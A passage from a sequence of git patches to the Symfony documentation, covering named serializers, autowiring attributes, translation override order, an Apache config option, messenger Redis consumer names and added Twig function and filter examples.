+You can achieve this by configuring multiple serializer instances using
+the ``named_serializers`` option:
 
 .. configuration-block::
 
@@ -1633,7 +1633,7 @@ using :ref:`named aliases <autowiring-multiple-implementations-same-type>`::
     class PersonController extends AbstractController
     {
         public function index(
-            SerializerInterface $serializer,           // Default serializer
+            SerializerInterface $serializer,           // default serializer
             SerializerInterface $apiClient1Serializer, // api_client1 serializer
             #[Target('apiClient2.serializer')]         // api_client2 serializer
             SerializerInterface $customName,
@@ -1642,10 +1642,10 @@ using :ref:`named aliases <autowiring-multiple-implementations-same-type>`::
         }
     }
 
-Named serializers are configured with the default set of normalizers and encoders.
-
-You can register additional normalizers and encoders with a specific named
-serializer by adding a ``serializer`` attribute to
+By default, named serializers use the built-in set of normalizers and encoders,
+just like the main serializer service. However, you can customize them by
+registering additional normalizers or encoders for a specific named serializer.
+To do that, add a ``serializer`` attribute to
 the :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`
 or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
 
@@ -1658,14 +1658,14 @@ or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
             # ...
 
             Symfony\Component\Serializer\Normalizer\CustomNormalizer:
-                # Prevent this normalizer from automatically being included in the default serializer
+                # prevent this normalizer from being automatically added to the default serializer
                 autoconfigure: false
                 tags:
-                    # Include this normalizer in a single serializer
+                    # add this normalizer only to a specific named serializer
                     - serializer.normalizer: { serializer: 'api_client1' }
-                    # Include this normalizer in multiple serializers
+                    # add this normalizer to several named serializers
                     - serializer.normalizer: { serializer: [ 'api_client1', 'api_client2' ] }
-                    # Include this normalizer in all serializers (including the default one)
+                    # add this normalizer to all serializers, including the default one
                     - serializer.normalizer: { serializer: '*' }
 
     .. code-block:: xml
@@ -1680,20 +1680,19 @@ or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
             <services>
                 <!-- ... -->
 
-                <!-- Disable autoconfigure to prevent this normalizer from automatically -->
-                <!-- being included in the default serializer -->
+                <!-- prevent this normalizer from being automatically added to the default serializer -->
                 <service
                     id="Symfony\Component\Serializer\Normalizer\CustomNormalizer"
                     autoconfigure="false"
                 >
-                    <!-- Include this normalizer in a single serializer -->
+                    <!-- add this normalizer only to a specific named serializer -->
                     <tag name="serializer.normalizer" serializer="api_client1"/>
 
-                    <!-- Include this normalizer in multiple serializers -->
+                    <!-- add this normalizer to several named serializers -->
                     <tag name="serializer.normalizer" serializer="api_client1"/>
                     <tag name="serializer.normalizer" serializer="api_client2"/>
 
-                    <!-- Include this normalizer in all serializers (including the default one) -->
+                    <!-- add this normalizer to all serializers, including the default one -->
                     <tag name="serializer.normalizer" serializer="*"/>
                 </service>
             </services>
@@ -1710,32 +1709,32 @@ or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
             // ...
 
             $services->set(CustomNormalizer::class)
-                // Prevent this normalizer from automatically being included in the default serializer
+                // prevent this normalizer from being automatically added to the default serializer
                 ->autoconfigure(false)
 
-                // Include this normalizer in a single serializer
+                // add this normalizer only to a specific named serializer
                 ->tag('serializer.normalizer', ['serializer' => 'api_client1'])
-                // Include this normalizer in multiple serializers
+                // add this normalizer to several named serializers
                 ->tag('serializer.normalizer', ['serializer' => ['api_client1', 'api_client2']])
-                // Include this normalizer in all serializers (including the default one)
+                // add this normalizer to all serializers, including the default one
                 ->tag('serializer.normalizer', ['serializer' => '*'])
             ;
         };
 
-When the ``serializer`` attribute is not set, the service is registered with
+When the ``serializer`` attribute is not set, the service is registered only with
 the default serializer.
 
-Each normalizer and encoder used in a named serializer is tagged with
-a ``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag,
-which can be used to list their priorities using the following command:
+Each normalizer or encoder used in a named serializer is tagged with a
+``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag.
+You can inspect their priorities using the following command:
 
 .. code-block:: terminal
 
     $ php bin/console debug:container --tag serializer.<normalizer|encoder>.<name>
 
-Additionally, you can exclude the default set of normalizers and encoders by
-setting the ``include_built_in_normalizers`` and ``include_built_in_encoders``
-options to ``false``:
+Additionally, you can exclude the default set of normalizers and encoders from a
+named serializer by setting the ``include_built_in_normalizers`` and
+``include_built_in_encoders`` options to ``false``:
 
 .. configuration-block::
 

From 8d35db9a1f83b31f7828f8910c744a91f60a82c3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Apr 2025 09:57:29 +0200
Subject: [PATCH 5505/5766] Tweaks

---
 .../service_subscribers_locators.rst          | 23 ++++++++++---------
 1 file changed, 12 insertions(+), 11 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d154f2dce3d..14cdb010152 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -298,10 +298,10 @@ This is done by having ``getSubscribedServices()`` return an array of
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
 
 .. _service-locator_autowire-locator:
-.. _service-locator_autowire-iterator:
+.. _the-autowirelocator-and-autowireiterator-attributes:
 
-The AutowireLocator and AutowireIterator Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The AutowireLocator Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Another way to define a service locator is to use the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
@@ -381,16 +381,17 @@ attribute::
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
     attribute was introduced in Symfony 6.4.
 
+.. _service-locator_autowire-iterator:
+
 The AutowireIterator Attribute
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Variant of the ``AutowireLocator`` that specifically provides an iterable of services
-based on a tag. This allows you to collect all services with a particular tag into
-an iterable, which can be useful when you need to iterate over a set of services
-rather than retrieving them individually.
 
-For example, if you want to collect all the handlers for different command types,
-you can use the ``AutowireIterator`` attribute to automatically inject all services
-tagged with a specific tag::
+A variant of ``AutowireLocator`` that injects an iterable of services tagged
+with a specific :doc:`tag </service_container/tags>`. This is useful to loop
+over a set of tagged services instead of retrieving them individually.
+
+For example, to collect all handlers for different command types, use the
+``AutowireIterator`` attribute and pass the tag used by those services::
 
     // src/CommandBus.php
     namespace App;
@@ -404,7 +405,7 @@ tagged with a specific tag::
     {
         public function __construct(
             #[AutowireIterator('command_handler')]
-            private iterable $handlers, // Collects all services tagged with 'command_handler'
+            private iterable $handlers, // collects all services tagged with 'command_handler'
         ) {
         }
 

From 6fd2b0e53a6bf8700152c05ec384f5b27bc14d85 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Apr 2025 16:06:08 +0200
Subject: [PATCH 5506/5766] Minor tweaks

---
 translation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 231969f9487..5565c65bdba 100644
--- a/translation.rst
+++ b/translation.rst
@@ -497,9 +497,9 @@ Symfony looks for message files (i.e. translations) in the following default loc
   ``Resources/translations/`` directory, which is no longer recommended for bundles).
 
 The locations are listed here with the highest priority first. That is, you can
-override the translation messages of a bundle in the first directory. Bundles are processed
-in the order they are given in the ``config/bundles.php`` file, so bundles listed first have
-higher priority.
+override the translation messages of a bundle in the first directory. Bundles are
+processed in the order in which they are listed in the ``config/bundles.php`` file,
+so bundles appearing earlier have higher priority.
 
 The override mechanism works at a key level: only the overridden keys need
 to be listed in a higher priority message file. When a key is not found

From 4742f5d77f54ed153beefbb510b8591c0830bae4 Mon Sep 17 00:00:00 2001
From: Fabian Freiburg <f.freiburg@gmail.com>
Date: Wed, 5 Feb 2025 15:14:38 +0100
Subject: [PATCH 5507/5766] Readd handling of fallback of bundles directory in
 Apache config

---
 setup/web_server_configuration.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 0612f609721..fdedfc81794 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -178,6 +178,14 @@ directive to pass requests for PHP files to PHP FPM:
         #     Options FollowSymlinks
         # </Directory>
 
+        # optionally disable the fallback resource for the asset directories
+        # which will allow Apache to return a 404 error when files are
+        # not found instead of passing the request to Symfony
+        # <Directory /var/www/project/public/bundles>
+        #     DirectoryIndex disabled
+        #     FallbackResource disabled
+        # </Directory>
+
         ErrorLog /var/log/apache2/project_error.log
         CustomLog /var/log/apache2/project_access.log combined
     </VirtualHost>

From 671eba4dc083e285978a5fb723f2bad4b93976e6 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 2 Apr 2025 05:45:39 +0200
Subject: [PATCH 5508/5766] [FrameworkBundle] Deprecate setting the
 collect_serializer_data to false

---
 reference/configuration/framework.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3f34f792630..bcf99d989c7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2352,12 +2352,16 @@ Combine it with the ``collect`` option to enable/disable the profiler on demand:
 collect_serializer_data
 .......................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
-Set this option to ``true`` to enable the serializer data collector and its
-profiler panel. When this option is ``true``, all normalizers and encoders are
+When this option is ``true``, all normalizers and encoders are
 decorated by traceable implementations that collect profiling information about them.
 
+.. deprecated:: 7.3
+
+    Setting the ``collect_serializer_data`` option to ``false`` is deprecated
+    since Symfony 7.3.
+
 .. _profiler-dsn:
 
 dsn

From 7b9ffb28b276674ae330e113c07e578b87055200 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 2 Apr 2025 17:00:44 +0200
Subject: [PATCH 5509/5766] Tweaks

---
 service_container/tags.rst | 25 +++++++------------------
 1 file changed, 7 insertions(+), 18 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ae10f8ef51a..fab25ea910a 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -155,24 +155,8 @@ In a Symfony application, call this method in your kernel class::
         }
     }
 
-In a Symfony bundle, call this method in the ``load()`` method of the
-:doc:`bundle extension class </bundles/extension>`::
-
-    // src/DependencyInjection/MyBundleExtension.php
-    class MyBundleExtension extends Extension
-    {
-        // ...
-
-        public function load(array $configs, ContainerBuilder $container): void
-        {
-            $container->registerForAutoconfiguration(CustomInterface::class)
-                ->addTag('app.custom_tag')
-            ;
-        }
-    }
-
-or if you are following the recommended way for new bundles and for bundles following the
-:ref:`recommended directory structure <bundles-directory-structure>`::
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, call this method in the ``loadExtension()`` method of the main bundle class::
 
     // ...
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -190,6 +174,11 @@ or if you are following the recommended way for new bundles and for bundles foll
         }
     }
 
+.. note::
+
+    For bundles not extending the ``AbstractBundle`` class, call this method in
+    the ``load()`` method of the :doc:`bundle extension class </bundles/extension>`.
+
 Autoconfiguration registering is not limited to interfaces. It is possible
 to use PHP attributes to autoconfigure services by using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`

From b1e2c53a4bc85add8633e13b02e676961503b2a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 08:49:41 +0200
Subject: [PATCH 5510/5766] Tweaks

---
 reference/configuration/security.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b4ba6696e18..3ccea5f9026 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1004,11 +1004,11 @@ the session must not be used when authenticating users:
 .. _reference-security-lazy:
 
 lazy
-~~~~~~~~~
+~~~~
 
-Firewalls can configure a ``lazy`` boolean option in order to load the user and start the session only
-if the application actually accesses the User object,
-(e.g. via a is_granted() call in a template or isGranted() in a controller or service):
+Firewalls can configure a ``lazy`` boolean option to load the user and start the
+session only if the application actually accesses the User object, (e.g. calling
+``is_granted()`` in a template or ``isGranted()`` in a controller or service):
 
 .. configuration-block::
 
@@ -1048,8 +1048,8 @@ if the application actually accesses the User object,
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security): void {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->lazy(true);
+            $security->firewall('main')
+                ->lazy(true);
             // ...
         };
 

From 6cfc92a41d05b0034ab643ab86538cd65b353670 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 08:57:25 +0200
Subject: [PATCH 5511/5766] Minor tweaks

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c0822f97fdd..cefa6b8c0d4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1865,9 +1865,9 @@ under the transport in ``messenger.yaml``:
     The Redis consumer group name
 
 ``consumer`` (default: ``consumer``)
-    Consumer name used in Redis. Allows to set explicit consumer name identifier.
-    Recommended for environments with multiple workers to prevent duplicate message processing.
-    Typically set via environment variable:
+    Consumer name used in Redis. Allows setting an explicit consumer name identifier.
+    Recommended in environments with multiple workers to prevent duplicate message
+    processing. Typically set via an environment variable:
 
     .. code-block:: yaml
 

From 111956866e03a6fbbc015e0af60a16bbe5278554 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 08:59:29 +0200
Subject: [PATCH 5512/5766] [Messenger] Add consumer name documentation

---
 messenger.rst | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e86bc73d1c6..6fbfd36385d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1698,7 +1698,20 @@ under the transport in ``messenger.yaml``:
     The Redis consumer group name
 
 ``consumer`` (default: ``consumer``)
-    Consumer name used in Redis
+    Consumer name used in Redis. Allows setting an explicit consumer name identifier.
+    Recommended in environments with multiple workers to prevent duplicate message
+    processing. Typically set via an environment variable:
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        options:
+                            consumer: '%env(MESSENGER_CONSUMER_NAME)%'
 
 ``auto_setup`` (default: ``true``)
     Whether to create the Redis group automatically

From 0ff840444f265d5492238a92df8081e01eaaf6d2 Mon Sep 17 00:00:00 2001
From: Adam Prancz <adam.prancz@gmail.com>
Date: Wed, 18 Dec 2024 09:48:18 +0100
Subject: [PATCH 5513/5766] [Serializer] Update serializer.rst

---
 serializer.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 7f2569eb104..24ec7e325e0 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1352,6 +1352,31 @@ normalizers (in order of priority):
     This denormalizer converts an array of arrays to an array of objects
     (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
 
+    ByUsing the PropertyInfoExtractor you can simply annotate the arrays by '@var Person[]'
+
+    .. configuration-block::
+
+        .. code-block:: php-standalone
+
+            use Symfony\Component\PropertyInfo\Extractor\PhpDocExtractor;
+            use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
+            use Symfony\Component\PropertyInfo\PropertyInfoExtractor;
+            use Symfony\Component\Serializer\Encoder\JsonEncoder;
+            use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+            use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+            use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
+            use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+            use Symfony\Component\Serializer\Serializer;
+    
+            $reflectionExtractor = new ReflectionExtractor();
+            $phpDocExtractor = new PhpDocExtractor();
+            $propertyInfo = new PropertyInfoExtractor([], [$phpDocExtractor, $reflectionExtractor]);
+            
+            $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+            $normalizers = [new ObjectNormalizer($classMetadataFactory, null, null, $propertyInfo), new ArrayDenormalizer()];
+            
+            $this->serializer = new Serializer($normalizers, [new JsonEncoder()]);
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This is the most powerful default normalizer and used for any object
     that could not be normalized by the other normalizers.

From 5e6d3b08c2aab43c19e319928f23769764214366 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 09:12:44 +0200
Subject: [PATCH 5514/5766] Minor tweaks

---
 serializer.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 24ec7e325e0..6e20a651341 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1352,7 +1352,8 @@ normalizers (in order of priority):
     This denormalizer converts an array of arrays to an array of objects
     (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
 
-    ByUsing the PropertyInfoExtractor you can simply annotate the arrays by '@var Person[]'
+    Use :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor` to provide
+    hints with annotations like ``@var Person[]``:
 
     .. configuration-block::
 
@@ -1367,13 +1368,9 @@ normalizers (in order of priority):
             use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
             use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
             use Symfony\Component\Serializer\Serializer;
-    
-            $reflectionExtractor = new ReflectionExtractor();
-            $phpDocExtractor = new PhpDocExtractor();
-            $propertyInfo = new PropertyInfoExtractor([], [$phpDocExtractor, $reflectionExtractor]);
-            
-            $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-            $normalizers = [new ObjectNormalizer($classMetadataFactory, null, null, $propertyInfo), new ArrayDenormalizer()];
+
+            $propertyInfo = new PropertyInfoExtractor([], [new PhpDocExtractor(), new ReflectionExtractor()]);
+            $normalizers = [new ObjectNormalizer(new ClassMetadataFactory(new AttributeLoader()), null, null, $propertyInfo), new ArrayDenormalizer()];
             
             $this->serializer = new Serializer($normalizers, [new JsonEncoder()]);
 

From 05ff5258e27fd36bc5fdec0391b6833ab302a4f8 Mon Sep 17 00:00:00 2001
From: Ignacio Aguirre <52148018+nachoaguirre@users.noreply.github.com>
Date: Tue, 10 Dec 2024 23:47:02 -0300
Subject: [PATCH 5515/5766] Update dynamic_form_modification.rst

Update the namespace of the class to subscribe to events. Currently it points to \EventListener, but I find it more coherent to associate it with \EventSubscriber
---
 form/dynamic_form_modification.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 09be80ebb5a..a1f32c7c16c 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -138,8 +138,8 @@ For better reusability or if there is some heavy logic in your event listener,
 you can also move the logic for creating the ``name`` field to an
 :ref:`event subscriber <event_dispatcher-using-event-subscribers>`::
 
-    // src/Form/EventListener/AddNameFieldSubscriber.php
-    namespace App\Form\EventListener;
+    // src/Form/EventSubscriber/AddNameFieldSubscriber.php
+    namespace App\Form\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
@@ -172,7 +172,7 @@ Great! Now use that in your form class::
     namespace App\Form\Type;
 
     // ...
-    use App\Form\EventListener\AddNameFieldSubscriber;
+    use App\Form\EventSubscriber\AddNameFieldSubscriber;
 
     class ProductType extends AbstractType
     {

From 850666f30df9503367b415410c083df1fb44da73 Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Wed, 27 Nov 2024 14:59:57 +0100
Subject: [PATCH 5516/5766] [Twig] [twig reference] add examples to functions
 and filter

---
 reference/twig_reference.rst | 199 +++++++++++++++++++++++++++++++++++
 1 file changed, 199 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 21f251dc6de..4b145364b0e 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -110,6 +110,22 @@ asset
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 
+.. code-block:: yaml
+
+    # config/packages/framework.yaml
+    framework:
+        # ...
+        assets:
+            packages:
+                foo_package:
+                    base_path: /avatars
+
+.. code-block:: twig
+
+    {# the image lives at "public/avatars/avatar.png" #}
+    {{ asset(path = 'avatar.png', packageName = 'foo_package') }}
+    {# output: /avatars/avatar.png #}
+
 Returns the public path of the given asset path (which can be a CSS file, a
 JavaScript file, an image path, etc.). This function takes into account where
 the application is installed (e.g. in case the project is accessed in a host
@@ -187,6 +203,30 @@ logout_path
 Generates a relative logout URL for the given firewall. If no key is provided,
 the URL is generated for the current firewall the user is logged into.
 
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+
+        firewalls:
+            main:
+                # ...
+                logout:
+                    path: '/logout'
+            othername:
+                # ...
+                logout:
+                    path: '/other/logout'
+
+.. code-block:: twig
+
+    {{ logout_path(key = 'main') }}
+    {# output: /logout #}
+
+    {{ logout_path(key = 'othername') }}
+    {# output: /other/logout #}
+
 logout_url
 ~~~~~~~~~~
 
@@ -200,6 +240,30 @@ logout_url
 Equal to the `logout_path`_ function, but it'll generate an absolute URL
 instead of a relative one.
 
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+
+        firewalls:
+            main:
+                # ...
+                logout:
+                    path: '/logout'
+            othername:
+                # ...
+                logout:
+                    path: '/other/logout'
+
+.. code-block:: twig
+
+    {{ logout_url(key = 'main') }}
+    {# output: http://example.org/logout #}
+
+    {{ logout_url(key = 'othername') }}
+    {# output: http://example.org/other/logout #}
+
 path
 ~~~~
 
@@ -217,6 +281,14 @@ path
 Returns the relative URL (without the scheme and host) for the given route.
 If ``relative`` is enabled, it'll create a path relative to the current path.
 
+.. code-block:: twig
+
+    {{ path(name = 'app_blog', parameters = {page: 3}, relative = false) }}
+    {# output (depending on the route configuration): /blog/3 or /blog?page=3 #}
+
+    {{ path(name = 'app_blog', parameters = {page: 3}, relative = true) }}
+    {# output (depending on the route configuration): blog/3 or ?page=3 #}
+
 .. seealso::
 
     Read more about :doc:`Symfony routing </routing>` and about
@@ -239,6 +311,16 @@ url
 Returns the absolute URL (with scheme and host) for the given route. If
 ``schemeRelative`` is enabled, it'll create a scheme-relative URL.
 
+.. code-block:: twig
+
+    {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = false) }}
+    {# output (depending on the route configuration): http://example.org/blog/3
+    or http://example.org/blog?page=3 #}
+
+    {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = true) }}
+    {# output (depending on the route configuration): //example.org/blog/3
+    or //example.org/blog?page=3 #}
+
 .. seealso::
 
     Read more about :doc:`Symfony routing </routing>` and about
@@ -290,6 +372,11 @@ expression
 Creates an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` related
 to the :doc:`ExpressionLanguage component </components/expression_language>`.
 
+.. code-block:: twig
+
+    {{ expression(1 + 2) }}
+    {# output: 3 #}
+
 impersonation_path
 ~~~~~~~~~~~~~~~~~~
 
@@ -373,6 +460,42 @@ t
 Creates a ``Translatable`` object that can be passed to the
 :ref:`trans filter <reference-twig-filter-trans>`.
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/blog.en.yaml
+        message: Hello %name%
+
+    .. code-block:: xml
+
+        <!-- translations/blog.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="message">
+                        <source>message</source>
+                        <target>Hello %name%</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/blog.en.php
+        return [
+            'message' => "Hello %name%",
+        ];
+
+Using the filter will be rendered as:
+
+.. code-block:: twig
+
+    {{ t(message = 'message', parameters = {'%name%': 'John'}, domain = 'blog')|trans }}
+    {# output: Hello John #}
+
 importmap
 ~~~~~~~~~
 
@@ -452,6 +575,42 @@ trans
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        message: Hello %name%
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="message">
+                        <source>message</source>
+                        <target>Hello %name%</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/messages.en.php
+        return [
+            'message' => "Hello %name%",
+        ];
+
+Using the filter will be rendered as:
+
+.. code-block:: twig
+
+    {{ 'message'|trans(arguments = {'%name%': 'John'}, domain = 'messages', locale = 'en') }}
+    {# output: Hello John #}
+
 sanitize_html
 ~~~~~~~~~~~~~
 
@@ -593,6 +752,16 @@ abbr_class
 Generates an ``<abbr>`` element with the short name of a PHP class (the
 FQCN will be shown in a tooltip when a user hovers over the element).
 
+.. code-block:: twig
+
+    {{ 'App\\Entity\\Product'|abbr_class }}
+
+The above example will be rendered as:
+
+.. code-block:: html
+
+    <abbr title="App\Entity\Product">Product</abbr>
+
 abbr_method
 ~~~~~~~~~~~
 
@@ -607,6 +776,16 @@ Generates an ``<abbr>`` element using the ``FQCN::method()`` syntax. If
 ``method`` is ``Closure``, ``Closure`` will be used instead and if ``method``
 doesn't have a class name, it's shown as a function (``method()``).
 
+.. code-block:: twig
+
+    {{ 'App\\Controller\\ProductController::list'|abbr_method }}
+
+The above example will be rendered as:
+
+.. code-block:: html
+
+    <abbr title="App\Controller\ProductController">ProductController</abbr>
+
 format_args
 ~~~~~~~~~~~
 
@@ -694,6 +873,11 @@ file_link
 Generates a link to the provided file and line number using
 a preconfigured scheme.
 
+.. code-block:: twig
+
+    {{ 'path/to/file/file.txt'|file_link(line = 3) }}
+    {# output: file://path/to/file/file.txt#L3 #}
+
 file_relative
 ~~~~~~~~~~~~~
 
@@ -736,6 +920,21 @@ serialize
 Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
 and returns a serialized string in the specified ``format``.
 
+For example::
+
+    $object = new \stdClass();
+    $object->foo = 'bar';
+    $object->content = [];
+    $object->createdAt = new \DateTime('2024-11-30');
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json', context = {
+        'datetime_format': 'D, Y-m-d',
+        'empty_array_as_object': true,
+    }) }}
+    {# output: {"foo":"bar","content":{},"createdAt":"Sat, 2024-11-30"} #}
+
 .. _reference-twig-tags:
 
 Tags

From f187ace7bf11d80568cf20731aa2bf09e9e9aeb2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 10:33:39 +0200
Subject: [PATCH 5517/5766] Minor tweaks

---
 reference/twig_reference.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4b145364b0e..825ad3b0af7 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -283,11 +283,13 @@ If ``relative`` is enabled, it'll create a path relative to the current path.
 
 .. code-block:: twig
 
+    {# consider that the app defines an 'app_blog' route with the path '/blog/{page}' #}
+
     {{ path(name = 'app_blog', parameters = {page: 3}, relative = false) }}
-    {# output (depending on the route configuration): /blog/3 or /blog?page=3 #}
+    {# output: /blog/3 #}
 
     {{ path(name = 'app_blog', parameters = {page: 3}, relative = true) }}
-    {# output (depending on the route configuration): blog/3 or ?page=3 #}
+    {# output: blog/3 #}
 
 .. seealso::
 
@@ -313,13 +315,13 @@ Returns the absolute URL (with scheme and host) for the given route. If
 
 .. code-block:: twig
 
+    {# consider that the app defines an 'app_blog' route with the path '/blog/{page}' #}
+
     {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = false) }}
-    {# output (depending on the route configuration): http://example.org/blog/3
-    or http://example.org/blog?page=3 #}
+    {# output: http://example.org/blog/3 #}
 
     {{ url(name = 'app_blog', parameters = {page: 3}, schemeRelative = true) }}
-    {# output (depending on the route configuration): //example.org/blog/3
-    or //example.org/blog?page=3 #}
+    {# output: //example.org/blog/3 #}
 
 .. seealso::
 
@@ -784,7 +786,7 @@ The above example will be rendered as:
 
 .. code-block:: html
 
-    <abbr title="App\Controller\ProductController">ProductController</abbr>
+    <abbr title="App\Controller\ProductController">ProductController</abbr>::list()
 
 format_args
 ~~~~~~~~~~~

From 82fea87c3de14d6f56f7d707dd29d890f19902ab Mon Sep 17 00:00:00 2001
From: Edgar Brunet <edgar.brunet@epitech.eu>
Date: Fri, 29 Nov 2024 14:45:51 +0100
Subject: [PATCH 5518/5766] =?UTF-8?q?[Twig]=20[twig=20reference]=20add=20e?=
 =?UTF-8?q?xamples=20to=20functions=20(format=5Ffile,=20file=5F=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/twig_reference.rst | 72 ++++++++++++++++++++++++++++++++++++
 1 file changed, 72 insertions(+)

